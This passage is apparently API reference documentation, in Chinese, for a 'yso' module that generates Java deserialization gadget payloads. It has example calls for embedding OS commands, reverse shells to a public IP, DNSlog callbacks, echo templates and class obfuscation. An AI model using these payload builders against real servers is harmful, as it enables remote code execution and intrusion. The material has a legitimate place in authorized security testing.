gadgetObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useBytesEvilClass(bytesCode),yso.obfuscationClassConstantPool(),yso.evilClassName(className),yso.majorVersion(version))gadgetDump,_ = yso.dump(gadgetObj)
#
定义dump(i any) (string, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
i | any |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | string | |
r2 | error |
#
evilClassName#
详细描述SetClassName
evilClassName 请求参数选项函数,用于设置生成的类名。
className:要设置的类名。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.evilClassName("EvilClass"))
#
定义evilClassName(className string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
className | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
majorVersion#
详细描述#
定义majorVersion(v uint16) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
v | uint16 |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
obfuscationClassConstantPool#
详细描述#
定义obfuscationClassConstantPool(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
springEchoBody#
详细描述#
定义springEchoBody(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
springHeader#
详细描述SetHeader
springHeader 请求参数选项函数,设置指定的 header 键值对,需要配合 useSpringEchoTemplate 使用。
需要注意的是,发送此函数时生成的 Payload 时,需要设置header:Accept-Language: zh-CN,zh;q=1.9,以触发回显。
key:要设置的 header 键。
val:要设置的 header 值。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useSpringEchoTemplate(),yso.springHeader("Echo","Echo Check"))
#
定义springHeader(key string, val string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
key | string | |
val | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
springParam#
详细描述SetParam
springParam 请求参数选项函数,设置指定的回显值,需要配合 useSpringEchoTemplate 使用。
param:要设置的请求参数。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useSpringEchoTemplate(),yso.springParam("Echo Check"))
#
定义springParam(val string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
val | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
springRuntimeExecAction#
详细描述#
定义springRuntimeExecAction(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
tcpReverseHost#
详细描述SetTcpReverseHost
tcpReverseHost 请求参数选项函数,设置指定的 tcpReverseHost 域名,需要配合 useTcpReverseTemplate ,tcpReversePort 使用。
还需要配合 tcpReverseToken 使用,用于是否反连成功的标志。
host:要设置的 tcpReverseHost 的host。
Example:
host = "公网IP"token = uuid()yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseTemplate(),yso.tcpReverseHost(host),yso.tcpReversePort(8080),yso.tcpReverseToken(token))
#
定义tcpReverseHost(host string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
host | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
tcpReversePort#
详细描述SetTcpReversePort
tcpReversePort 请求参数选项函数,设置指定的 tcpReversePort 域名,需要配合 useTcpReverseTemplate ,tcpReverseHost 使用。
还需要配合 tcpReverseToken 使用,用于是否反连成功的标志。
port:要设置的 tcpReversePort 的port。
Example:
host = "公网IP"token = uuid()yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseTemplate(),yso.tcpReverseHost(host),yso.tcpReversePort(8080),yso.tcpReverseToken(token))
#
定义tcpReversePort(port int) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
port | int |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
tcpReverseToken#
详细描述SetTcpReverseToken
tcpReverseToken 请求参数选项函数,设置指定的 token 用于是否反连成功的标志,需要配合 useTcpReverseTemplate ,tcpReverseHost ,tcpReversePort 使用。
token:要设置的 token 。
Example:
host = "公网IP"token = uuid()yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseTemplate(),yso.tcpReverseHost(host),yso.tcpReversePort(8080),yso.tcpReverseToken(token))
#
定义tcpReverseToken(token string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
token | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useBase64BytesClass#
详细描述SetClassBase64Bytes
useBase64BytesClass 请求参数选项函数,传入base64编码的字节码。
base64:base64编码的字节码。
Example:
gadgetObj,err = yso.GetCommonsBeanutils1JavaObject(yso.useBase64BytesClass(base64Class))
#
定义useBase64BytesClass(base64 string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
base64 | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useBytesClass#
详细描述SetClassBytes
useBytesClass 请求参数选项函数,传入字节码。
data:字节码。
Example:
bytesCode,_ =codec.DecodeBase64(bytes)gadgetObj,err = yso.GetCommonsBeanutils1JavaObject(yso.useBytesClass(bytesCode))
#
定义useBytesClass(data []byte) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
data | []byte |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useBytesEvilClass#
详细描述SetBytesEvilClass
useBytesEvilClass 请求参数选项函数,传入自定义的字节码。
data:自定义的字节码。
Example:
bytesCode,_ =codec.DecodeBase64(bytes)gadgetObj,err = yso.GetCommonsBeanutils1JavaObject(yso.useBytesEvilClass(bytesCode))
#
定义useBytesEvilClass(data []byte) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
data | []byte |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useClassMultiEchoTemplate#
详细描述#
定义useClassMultiEchoTemplate(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
useConstructorExecutor#
详细描述#
定义useConstructorExecutor(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
useDNSLogEvilClass#
详细描述SetDnslogEvilClass
useDnslogEvilClass 请求参数选项函数,设置生成Dnslog类的模板,同时设置指定的 Dnslog 域名。
addr:要设置的 Dnslog 域名。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useDnslogEvilClass("dnslog.com"))
#
定义useDNSLogEvilClass(addr string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
addr | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useDNSlogTemplate#
详细描述#
定义useDNSlogTemplate(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
useEchoBody#
详细描述#
定义useEchoBody(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
useHeaderEchoEvilClass#
详细描述#
定义useHeaderEchoEvilClass(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
useHeaderEchoTemplate#
详细描述#
定义useHeaderEchoTemplate(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
useHeaderParam#
详细描述SetHeader
springHeader 请求参数选项函数,设置指定的 header 键值对,需要配合 useSpringEchoTemplate 使用。
需要注意的是,发送此函数时生成的 Payload 时,需要设置header:Accept-Language: zh-CN,zh;q=1.9,以触发回显。
key:要设置的 header 键。
val:要设置的 header 值。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useSpringEchoTemplate(),yso.springHeader("Echo","Echo Check"))
#
定义useHeaderParam(key string, val string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
key | string | |
val | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useModifyTomcatMaxHeaderSizeTemplate#
详细描述#
定义useModifyTomcatMaxHeaderSizeTemplate(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
useMultiEchoEvilClass#
详细描述#
定义useMultiEchoEvilClass(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
useParam#
详细描述SetParam
springParam 请求参数选项函数,设置指定的回显值,需要配合 useSpringEchoTemplate 使用。
param:要设置的请求参数。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useSpringEchoTemplate(),yso.springParam("Echo Check"))
#
定义useParam(val string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
val | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useProcessBuilderExecEvilClass#
详细描述SetProcessBuilderExecEvilClass
useProcessBuilderExecEvilClass 请求参数选项函数,设置生成ProcessBuilderExec类的模板,同时设置要执行的命令。
cmd:要执行的命令字符串。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useProcessBuilderExecEvilClass("whoami"))
#
定义useProcessBuilderExecEvilClass(cmd string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useProcessBuilderExecTemplate#
详细描述#
定义useProcessBuilderExecTemplate(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
useProcessImplExecEvilClass#
详细描述SetProcessImplExecEvilClass
useProcessImplExecEvilClass 请求参数选项函数,设置生成ProcessImplExec类的模板,同时设置要执行的命令。
cmd:要执行的命令字符串。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useProcessImplExecEvilClass("whoami"))
#
定义useProcessImplExecEvilClass(cmd string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useProcessImplExecTemplate#
详细描述#
定义useProcessImplExecTemplate(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
useRuntimeExecEvilClass#
详细描述SetRuntimeExecEvilClass
useRuntimeExecEvilClass 请求参数选项函数,设置生成RuntimeExec类的模板,同时设置要执行的命令。
cmd:要执行的命令字符串。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useRuntimeExecEvilClass("whoami"))
#
定义useRuntimeExecEvilClass(cmd string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useRuntimeExecTemplate#
详细描述#
定义useRuntimeExecTemplate(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
useSleepEvilClass#
详细描述#
定义useSleepEvilClass(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
useSleepTemplate#
详细描述#
定义useSleepTemplate(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
useSleepTime#
详细描述SetSleepTime
useSleepTime 请求参数选项函数,设置指定的 sleep 时长,需要配合 useSleepTemplate 使用,主要用与指定 sleep 时长,用于延时检测gadget。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useSleepTemplate(),yso.useSleepTime(5)) // 发送生成的 Payload 后,观察响应时间是否大于 5s
#
定义useSleepTime(time int) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
time | int |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useSpringEchoTemplate#
详细描述#
定义useSpringEchoTemplate(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
useTcpReverseEvilClass#
详细描述SetTcpReverseEvilClass
useTcpReverseEvilClass 请求参数选项函数,设置生成TcpReverse类的模板,同时设置指定的 tcpReverseHost ,tcpReversePort。
相当于 useTcpReverseTemplate ,tcpReverseHost 两个个函数的组合。
host:要设置的 tcpReverseHost 的host。
port:要设置的 tcpReversePort 的port。
Example:
host = "公网IP"token = uuid()yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseEvilClass(host,8080),yso.tcpReverseToken(token))
#
定义useTcpReverseEvilClass(host string, port int) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
host | string | |
port | int |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useTcpReverseShellEvilClass#
详细描述SetTcpReverseShellEvilClass
useTcpReverseShellEvilClass 请求参数选项函数,设置生成TcpReverseShell类的模板,同时设置指定的 tcpReverseShellHost ,tcpReverseShellPort。
相当于 useTcpReverseShellTemplate ,tcpReverseShellHost,tcpReverseShellPort 三个个函数的组合。
host:要设置的 tcpReverseShellHost 的host。
port:要设置的 tcpReverseShellPort 的port。
Example:
host = "公网IP"yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseShellEvilClass(host,8080))
#
定义useTcpReverseShellEvilClass(host string, port int) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
host | string | |
port | int |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useTcpReverseShellTemplate#
详细描述#
定义useTcpReverseShellTemplate(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
useTcpReverseTemplate#
详细描述#
定义useTcpReverseTemplate(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
useTomcatEchoEvilClass#
详细描述#
定义useTomcatEchoEvilClass(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |
#
useTomcatEchoTemplate#
详细描述#
定义useTomcatEchoTemplate(config *ClassConfig)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
config | *ClassConfig |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | `` |